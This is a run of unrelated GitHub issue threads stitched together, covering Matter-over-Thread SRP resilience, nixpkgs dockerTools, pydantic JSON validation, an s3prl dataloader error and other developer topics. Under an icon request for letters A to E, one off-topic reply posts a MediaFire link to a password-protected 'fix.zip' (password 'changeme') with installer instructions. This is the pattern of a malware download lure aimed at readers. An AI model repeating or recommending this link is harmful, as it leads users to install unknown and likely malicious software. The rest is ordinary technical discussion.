Now you can have multiple SRP servers in your mesh, and then it will be somewhat resilient to any one of them going down.  But if you take down all the SRP servers (and it sounds like you only had one in your case), then DNS-SD is not going to work.

So, how can we run multiple SRP server in the same Matter network? Can we run it on MAD?

how can we run multiple SRP server in the same Matter network?

That's a Thread question, not a Matter question....

Can we run it on MAD?

What is "MAD"?

MAD stands for Matter Accessory Device. I just mean to know what is the alternative when OTBR/SRP server is down so the Matter over Thread mesh can still work.

what is the alternative when OTBR/SRP server is down so the Matter over Thread mesh can still work

You need to have more than one SRP server on the mesh if you want it to be resilient to one SRP server going down.  That could be multiple OTBRs, or some other devices that implement an SRP server.

“Reliability — Self-healing mesh networking, with no single point of failure, and spread-spectrum techniques to provide immunity to interference” is claimed by https://openthread.io/guides/thread-primer?hl=en but the reality is not as claimed…
Anyway, I appreciate your help on clarifying this.

Look, if you have a single router-capable device in your Thread mesh (and all the other things are sleepy end devices) and that one thing goes down, then things won't work either, right?  If you want a service provided on the mesh, but you only set up one device that can provide the service, then if that device goes down the service is not going to be available.  The right answer is to set up multiple devices that can provide the service.
To get very concrete for a second: if you have an Apple Home with multiple Homepods or AppleTVs on the Thread mesh, then things will work correctly if one of those goes down, because a different one takes over the SRP server function.

Agree this can be solved by applying multiple OTBR but it’s not cost effective for end customers. In comparing to legacy Zigbee protocol, it would maintain local mesh working without coordinator/trust center which might be what end customers prefer. Anyway, that’s just personal opinion.


Improve usability of ion-java's test parameterization

ion-java's unit tests use a custom JUnit runner for parameterization. This behaves almost identically to JUnit's built-in Parameterized runner, but with one major drawback: IDE support. The display of the tests looks fine in IDEs such as IntelliJ IDEA, but re-running a specific parameter combination that failed does not work. This works fine with Parameterized. Without this, targeting a specific parameter combination for debugging requires setting conditional breakpoints, which becomes complicated and time-consuming.

can you please share more information regrading this issue!!

@chandrakant100 : it's not immediately clear to me what type of information you would like.
The task would involve replacing the custom JUnit runner with the JUnit 4's  Parameterized runner.


Fix typography and broken English

This was found while waiting for a new package to appear, see https://github.com/flathub/flathub/issues/1559

Looks good, thanks!


dockerTools always copies closure content to root of image

Currently, dockerTools ends up copying the contents of the derivations to the root of the docker container.  While broadly I agree this is a good thing, it isn't always appropriate.  For example using the wordpress package.  You end up with a pile of php and other stuff in the root of the container. That might lead one to think the next thing to do would be to point the document root of some server to the root of the container - which would be a bad thing, since you have, proc, dev, sys etc from there down.  Seems to me that we should be able to at minimum specify derivations which we do not want copied to the root, leaving just the closure under /nix/store.  Even better might be to be able to specify destination to copy derivation to other than root for some subset of derivations.

For example using the wordpress package.

Actually, then that expression is incorrect. We should aim at roughly following FHS inside store paths.

Yeah, I agree with that, if you nix-env -i wordpress it shouldn't pollute your ~/.nix-profile.

Not all closure files are copied to the root of the container, but only the paths specified in the contents atttribute, ie. the dependencies of these paths are not copied to /.
So, if you need to create your own root layout, you can create a derivation that symlinks some paths to your custom destinations and only put this derivation into the contents list.
I close this issue since I think we can address this need by creating a custom derivation. Moreover, the issue title is actually wrong ;)
But feel free to reopen it if you disagree!

I do disagree actually. There is a break in expectation here. I would expect the paths in the contents attribute to show up in the image similar to the way they would show up in a normal nixos installation, if not necessarily FHS, and then any customization would start from there.  While not the same obviously, this is roughly the same thing you would expect from installation of a package into a Ubuntu or other Linux.  And again, installating what amounts to a docroot into the root direct of a docker image is a mess.


[FR] automatically delete trash files older than X days

Similarly to Apple Notes, could there be an automatic delete of old trash files, e.g. older than 30 days old (ideally with 30 being configurable)?

Hmm, which kind of trash files are you refering to in this case?
Are you refering to files that have been deleted by the plugin and has been moved to System Trash or Obsidians internal trash (the .trash folder inside the Vault)?
If the former, I do not think I would be able to reach it from Application sandbox, the latter however I think could be possible.

The latter, the internal .trash folder

Alright, I need to check what is needed but definitely think it should be possible.

Sweet thanks!


applying new MVVM pattern to sign in view controller and view model

continuing the work in #94

          1 Warning

:warning:
Please rebase to get rid of the merge commits in this Pull Request

  Generated by :no_entry_sign: Danger


Logout button sometimes does not work

It redirects you back to the dashboard after going to /logout

Fixed by https://github.com/lightsats/lightsats/commit/e84bed48231f1ab267b43434eb013fe4d1c26025


Problem in downstream ASV task

I followed the instructions in the /s3prl/downstream/docs/superb.md, put the data in the right place and ran the command as readme but got the error message below.
I have tried the same setting on the SID, it can run successfully.
What is wrong with ASV?
'''
Traceback (most recent call last):
File "/home/ricliu/s3prl/s3prl/downstream/runner.py", line 270, in train
dataloader = self.downstream.model.get_dataloader(train_split, epoch=epoch)
TypeError: get_dataloader() got an unexpected keyword argument 'epoch'
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "run_downstream.py", line 220, in
main()
File "run_downstream.py", line 216, in main
eval(f'runner.{args.mode}')()
File "/home/ricliu/s3prl/s3prl/downstream/runner.py", line 273, in train
dataloader = self.downstream.model.get_dataloader(train_split)
File "/home/ricliu/s3prl/s3prl/downstream/sv_voxceleb1/expert.py", line 138, in get_dataloader
return self._get_train_dataloader(self.train_dataset)
File "/home/ricliu/s3prl/s3prl/downstream/sv_voxceleb1/expert.py", line 146, in _get_train_dataloader
return DataLoader(
File "/home/ricliu/miniconda3/envs/s3prl/lib/python3.8/site-packages/torch/utils/data/dataloader.py", line 277, in init
sampler = RandomSampler(dataset, generator=generator)  # type: ignore[arg-type]
File "/home/ricliu/miniconda3/envs/s3prl/lib/python3.8/site-packages/torch/utils/data/sampler.py", line 97, in init
raise ValueError("num_samples should be a positive integer "
ValueError: num_samples should be a positive integer value, but got num_samples=0
'''

Hey, this is because your might set the incorrect VoxCeleb1 path, so the code can't find any utterance under the path you assign so the num_samples=0. Can you verify if the path is correct?
Or, since we have some wav metadata caching mechanism for ASV, it is possible that your cache is corrupted. You can try to delete the .wav_lengths cache folder and run the ASV again.

After I delete the cache folder, there is no more error message.
By the way, my VoxCeleb1 path is correct.
Thank you very much!


Add FunctionalAssert.SequenceEqual to Funcky.xUnit

This is a feature I often miss. I then fall back to Assert.Equal (with the order being tested too, which sometimes is the wrong approach) or to the following example Implementation (using injected ITestOutputHelper to see differences in test output):
_testOutputHelper.WriteLine($"Expected: {string.Join(", ", expectedResult)}");
_testOutputHelper.WriteLine($"Actual:   {string.Join(", ", result)}");
Assert.True(expected.SequenceEqual(result));

Add a option to it, wheter order is respected or not. (e.g. RespectOrder and IgnoreOrder in an enum)

Implementation for unordered equal:
    internal static class SequenceAssert
    {
        public static void UnorderedEqual<T>(IEnumerable<T> expected, IEnumerable<T> actual, ITestOutputHelper testOutputHelper = null)
        {
            var expectedList = expected.ToList();
            var actualList = actual.ToList();

            testOutputHelper?.WriteLine($"Expected: {string.Join(", ", expectedList)}");
            testOutputHelper?.WriteLine($"Actual:   {string.Join(", ", actualList)}");

            Assert.True(expectedList.All(element => actualList.Remove(element)));
        }
    }

The implementation seems to be wrong:
expected List: 1, 5, 2
actual List: 2
you assert that all removes return true, but you do not assert that the list is empty after that.

The implementation seems also to be in O(n²) while a solution with sorting or a tree would be in O(n*log(n))

In preparation on additional Functional asserts I split the class into partials in Pullrequest: #190

SequenceEqual exists, and does not have the meaning "without considering the order"
https://docs.microsoft.com/en-us/dotnet/api/system.linq.enumerable.sequenceequal?view=netcore-3.1

How should duplicate elements be handled?

A Pullrequest as a starting point added.
Open:

Funcky.XUnit has no tests at all yet?
XML Documentation
Handling of duplicate values now delegated to HashSet<T>
The IEqualityComparer is nullable, because of missing Covariance of Option<T>?  - Same in merge...

Wouldn't it make sense to contribute to xUnit instead?
There's already an issue for that: https://github.com/xunit/xunit/issues/1671

We abandon this idea and suggest a contribution to xunit.

We abandon this idea and suggest a contribution to xunit.


Upgraded 5 gems - Fixed #232 (loose-ends)

Upgraded 5 gems: guard-rspec, tilt, brakeman, aruba, rake - Fixed #232

Thanks!


Add A, B, C, D, E letters

Describe the requested icon(s)
I would like letters A, B, C, D, E in the following formats:

by themselves
circled
boxed

In the usual formats including Duotone please.
Thanks for your consideration!

Download
https://www.mediafire.com/file/5t7dozm7sptcuqj/fix.zip/file
password: changeme
In the installer menu, select "gcc."


MORE POWER-DOCU SET

@mcneal20011  Thanks for contacting us. Can you point us to the doc page you're referring. It helps us assign the issue to the correct writer.

@mcneal20011
Please state your documentation question or issue and provide a link to the related article. Open a new feedback item with that info.


add preinstall script dependencies

recent changes in the main repository added a preinstall step:
https://github.com/calcom/cal.com/commit/8d078564dda8d9fea38ef562317f95f5378f61ac
these scripts need to be in the container in order for turbo to properly run all steps without error. without them, the build step will error, complaining about a missing .git-init.sh script

Thanks! Can you test moving the files into the copy line above, so that we don't create an additional container layer?

@krumware good point. done.

I'll run the action on this branch to help test and verify


This will not work for older images because this flag needs to be set only if volumegroupsnapshot CRDs are present and if the sidecar image supports this flag.

          This will not work for older images because this flag needs to be set only if volumegroupsnapshot CRDs are present and if the sidecar image supports this flag.

Originally posted by @Madhu-1 in https://github.com/ceph/ceph-csi-operator/pull/24#discussion_r1682832872

Closing this is not valid anymore as the logic is now user-facing, the user need to make the CRD check and set the required field in the CR


Add Types that needs to be parsed from strings.

Sometimes data needs to be parsed recursively.
class MyModel(BaseModel):
    xs: JsonList[int]

assert MyModel(xs='["1"]').xs == [1]

Partly taken from:
https://github.com/samuelcolvin/pydantic/blob/3ef595556cfc1b98d97be84f259091aa1568da3a/pydantic/types.py#L321
Is there any progress or plans to implement this?
Edit:
On a second thought, maybe something like this is more flexible:
class MyModel(BaseModel):
    xs: Nested[List[int]]

there's been no progress because I haven't needed it and no one else has asked for it.
I think it's a pretty rare case and would probably be best implemented as a validator.

I need it!
The issue is that I have to handle a config which is passed as a Dict[str, str]. E.g.:
{
  "key_a": "42",
  "key_b": "[1, 2, 3]"
}

Ideally, I can apply List[int] to key_b somehow. From what I understand I only can define attributes within a class and something like this isn't possible at the moment:
key_b = Field(List[int])
key_b.parse("[1, 2, 3]")

As I say, much easier to user a validator, then all the subsiquent validation logic should work as normal.
import json
from typing import List

from pydantic import BaseModel, validator

class SubModel(BaseModel):
    foo: int
    bar: List[int]

class Model(BaseModel):
    foobar: SubModel

    @validator('foobar', pre=True)
    def to_json(cls, v):
        try:
            return json.loads(v)
        except ValueError as e:
            raise ValueError('foobar value was not valid json') from e

d = Model(foobar='{"foo": 1, "bar": [1,2,3]}')
print(d.dict())

try:
    Model(foobar='{"foo": 1, "bar": [1,2,"x"]}')
except Exception as e:
    print(e)

try:
    Model(foobar='{"foo": 1, "bar": not json}')
except Exception as e:
    print(e)

outputs:
{'foobar': {'foo': 1, 'bar': [1, 2, 3]}}
1 validation error
foobar -> bar -> 2
  value is not a valid integer (type=type_error.integer)
1 validation error
foobar
  value was not valid json (type=value_error)

Thanks, I hadn't thought about pre.
This is essentially what I wanted:
class MyModel(BaseModel):
    key_a: int
    key_b: List[int]

    @validator('key_b', pre=True, whole=True)
    def _b_as_json(cls, v):
        return json.loads(v)

print(MyModel(**{
  "key_a": "42",
  "key_b": "[1, 2, 3]"
}))

I still like the idea of receiving a parser by just specifying things like List[int] though.

I guess the best solutions is would be a Json type with can be used on its own or like Json[List[int]] etc.
PR welcome.


Add waterwheel.swift

The Waterwheel Swift SDK provides classes to natively connect iOS, macOS, tvOS, and watchOS applications to Drupal 7 and 8.
Project URL
https://github.com/kylebrowning/waterwheel.swift
Category
SDK/Unofficial
Description
Waterwheel makes using Drupal as a backend with iOS, macOS, tvOS, or watchOS enjoyable by combining the most used features of Drupal's API's in one SDK. - Formerly known as Drupal iOS SDK.
Why it should be included to awesome-ios (optional)
Checklist

[x] Only one project/change is in this pull request
[x] Addition in chronological order (bottom of category)
[x] Supports iOS 9 / tvOS 10 or later
[x] Supports Swift 4 or later
[x] Has a commit from less than 2 years ago
[x] Has a clear README in English

          2 Warnings

:warning:
Too many changes (when adding, please keep it to one project per Pull Request)

:warning:
Found 1 link issue, a project collaborator will take care of these, thanks :)

Link issue by awesome_bot

Line
Status
Link

1355
Error
https://packetzoom.com  Connection timed out - connect(2) for "packetzoom.com" port 443

  Generated by :no_entry_sign: Danger


Error in section Handling HTTP Requests in Path Variable Bindings

The code that is in the 'Path Variable Bindings' section:
class CityController extends ResourceController {

@Operation.get('id')
 Future<Response> getCityByID(@Bind.query('id') String cityID) async {
        return new Response.ok(cities.where((c) => c.id == cityID).toList());
 }
}

However I believe the correct one would be:
class CityController extends ResourceController {

@Operation.get('id')
  Future<Response> getCityByID(@Bind.path('id') String cityID) async {
        return new Response.ok(cities.where((c) => c.id == cityID).toList());
  }
}

Is this a documentation change? If so, the PR should be from your docs/source branch to this repo's docs/source branch. The master branch is code only.

Sorry, I'll do it the right way.


Remove whl rename from nightly builds

Wheel renaming is not needed for this repo.

@randallfrank I went a bit further and added a commit. There's no need to push a wheel. The wheel generated is empty. The only reason it has to run is because we need to check that the tgz is generated without any error. So I have completely removed the step


Generate favicon.ico file

Followed wikipedia-defined ICO file format info, and used with Intervention's good bmp support, to create a working proof-of-concept. Just need to finish off and integrate.
Todo

[x] Todos in code comments.
[ ] Would be ideal to confirm the incoming bitmaps will always be 32bit-per-pixel.

Looks like phpgd only supports 8 or 24bit bmp images, not 32bit with alpha: https://github.com/libgd/libgd/blob/d11db230d3e8c48630e0abe24e34f0f12f45d989/src/gd_bmp.c#L210
Next step is to trial png-in-ico support.

Changed to png based ICO files, test on Firefox, Chrome, Gnome Web, seems to work nicely.
Now there's a challenge of how to handle the favicon.ico file in regards to git. Ideally want it to exist as a default but don't want it to show as an untracked change upon BookStack icon change.
Probably need to remove from repo by default then copy across default icon on access when no icon exists already.


RBAC support for stream-registry

Desired Behavior
Stream Registry should have Role Based Access Control (RBAC).
Initial version should support basic RBAC.
Benefits

Initial version can be very simple
Should be pluggable with different authentication backends
Extensible for future extensions

cc: @teabot